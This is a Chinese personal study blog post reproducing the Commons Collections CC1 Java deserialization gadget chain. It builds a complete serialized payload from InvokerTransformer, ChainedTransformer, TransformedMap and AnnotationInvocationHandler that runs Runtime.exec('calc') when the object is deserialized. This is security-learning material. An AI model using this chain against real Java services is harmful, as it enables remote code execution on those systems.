Java反序列化-cc1链挖掘复现(个人学习笔记)

目录

前置知识

InvokerTransformer

ConstantTransformer

ChainedTransformer

开始复现挖掘CC1

问题一、

问题二、

柳暗花明

解决问题一:

解决问题二:

参考视频:


前置知识

首先看哪里调用了transform接口,下面介绍几个我们这是次cc1链需要用到的。

进入之后,发现会传入一个对象执行transform方法

快捷键 Ctrl+Alt+B,查看一下它的实现方法

重点介绍一下这三种

InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

InvokerTransformer也是本次cc1的漏洞点

在InvokerTransformer里,我们可以传入方法名,参数类型数组和参数值数组,在这里有个transform方法,我们可以利用它来传入我们想要的数据,来执行某个的对象的目标方法。

ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

这个ConstantTransformer中的内容很好理解,因为constant代表常量,这里我们只要传入一个对象,它就会把对象return回来

ChainedTransformer

public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

这里传入的是Transformer[] 数组类型的参数,而这个类的transform方法比较有意思:它会把第i轮的输出再作为第i+1轮的输入,直到循环结束,return最终的结果。

开始复现挖掘CC1

首先,我们通过反射来进行弹计算器

 Runtime r = Runtime.getRuntime();
        Class c = Runtime.class;

        Method Method = (Method) c.getMethod("exec",String.class);
        Method.setAccessible(true);
        Method.invoke(r,"calc");

我们再通过InvokerTransformer的这种写法来修改一下:传入如下三种参数后进行调用它的transform方法,传入的是一个对象即可

        Runtime r = Runtime.getRuntime();
        Class c = Runtime.class;
//        Method rcMethod = (Method) c.getMethod("exec",String.class);
//        rcMethod.setAccessible(true);
//        rcMethod.invoke(r,"calc");
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

我们接下来就看还有哪个类调用了transform方法,一直找不同类,直到找到readObject里面,可以看到TransformedMap类中的checkSetValue方法调用了transform()方法

valueTransformer.transform(value)

//受保护的方法
protected Object checkSetValue(Object value) {
      return valueTransformer.transform(value);
  }

我们再看看valueTransformer是从哪里过来的,在113行发现,它的构造方法是protected受保护的属性

 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      super(map);
      this.keyTransformer = keyTransformer;
      this.valueTransformer = valueTransformer;
  }

在73行还有一个静态(decorate)装饰方法,会返回new TransformedMap(map, keyTransformer, valueTransformer),通过这个方法我们就可以控制valuetransformer了。

那么现在就通过这个TransformedMap类有个checkSetValue方法,再延伸一下链子。(查看一下哪里调用了)然后发现在AbstractInputCheckedMapDecorator类中Setvalue方法中调用了这个checkSetValue方法

    static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

在这里:MapEntry是代表一个键值对,所以我们需要写一个键值对,然后传入的对象就是我们之前定义的Runtime对象

Runtime r = Runtime.getRuntime();

        Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;

//        Method rcMethod = (Method) c.getMethod("exec",String.class);
//        rcMethod.setAccessible(true);
//        rcMethod.invoke(r,"calc");
        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        //相当于 invokerTransformer.transform(r)
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }

这里就弹出计算器了

setValue<-checksetValue<-invokerTransformer.transform()

接下来就是找谁调用了setValue,最好是在readObject里直接调用的,这样就可以直接交工了,不需要再往上继续找了。

最后,我们在AnnotationInvocationHandler类中找到了这个readObject方法,

        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

这里也是对键值对进行循环,并且经过两个if判断才能调用到我们想要的setValue方法中,

这里还有一个细节,我们可以发现这里并没有修饰符,属于默认default类型,只有在这个包里面才能进行获取,所以我们需要通过反射来进行获取

这里选择通过全类名获取类

 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Override.class,transformedMap);
        Serialize(o);

序列化生成ser.bin再反序列化是不能弹出计算器的,这里是为什么呢?

问题一、

Runtime类是没有序列化接口的,说明它没有办法进行序列化

问题二、

绕过两个if和setValue的参数问题

柳暗花明

解决问题一:

还是利用反射来解决

获取一个class类

Class c = Runtime.class;

反射获取public方法

Method method = rc.getMethod("getRuntime");

调用 method.invoke(null,null);,第一个null是因为getRuntime方法是一个静态方法,第二个null是无参数方法

  Class rc = Runtime.class;
  Method method = rc.getMethod("getRuntime",null);
  Runtime r = (Runtime) method.invoke(null,null);
  Method execMethod = rc.getMethod("exec",String.class);
  execMethod.invoke(r,"calc");

利用InvokerTransformer(),重新完善链子

首先再回顾一下InvokerTransformer()的参数吧

一、方法名

二、参数类型数组

三、参数值数组

new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

参数值对应情况如下

one

        Method one = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Class rc = Runtime.class;
//        Method method = rc.getMethod("getRuntime",null);

two

        Runtime two = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(one);
//        Runtime two = (Runtime) method.invoke(null,null);

three

这个和上面是一样的

方法名exec 方法类型String 方法值 calc

        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(two);
        
//        Method execMethod = rc.getMethod("exec",String.class);
//        execMethod.invoke(r,"calc");

弹出来计算器了,删除注释后的代码

Method one = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime two = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(one);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(two);

这里发现他们就是个重复调用的过程,通过我命名one two 也可以更好看出来

那么我们在前置知识介绍的ChainedTransformer在这里就用到了

我们new 一个 transformer数组,把他们放进去

        Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);
解决问题二:

在if下面打个断点,然后把之前注释的cc1.java中的重新放出来

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "aa");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Override.class, transformedMap);

        Serialize(o);
        unserialize(o);

然后在AnnotationInvocationHandler类里面打个断点,可以看到我们是进不去第一个if的,因为我们override里面没有东西

还有@Target和@Retention注解,我们换个 @Retention注解看一下。

同时我们也要把键值对的键名也修改成value

修改后

再断点调试,可以看到,我们就进来了

还有就是解决setValue里面的参数问题了

从setValue是可以调用到这里的

valueTransformer.transform(value)
相当于
chainedTransformer.transform(Runtime.class)

那么我们如果改其中的值呢?也就是修改AnnotationTypeMismatchExceptionProxy@665,为我们想要的Runtime.class

这里就想到了我们之前介绍的 ConstantTransformer 类

它的特点就是无论接受什么参数,就会返回什么参数。因此我们可以用它来做文章即利用它的transform方法传入一个Runtime.class

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


    HashMap<Object, Object> map = new HashMap<>();
    map.put("value", "Rsecret");
    Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
    declaredConstructor.setAccessible(true);
    Object o = declaredConstructor.newInstance(Retention.class, transformedMap);

    Serialize(o);
    unserialize(o);

再整理一下思路,我们调用了chainedTransformer.transform(),然后调用的是ConstantTransformer的transform方法,ConstantTransformer把输出变成了我们输入的Runtime.class

至此cc1链的其中一条链子学习完毕,还有一条cc1链是利用的LazyMap,后续有缘再更新吧~

谢谢师傅们,后续我也会观看本文章,进行相关的补充。

参考视频:

Java反序列化CommonsCollections篇(二)-最好用的CC链_哔哩哔哩_bilibili

  • 35
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值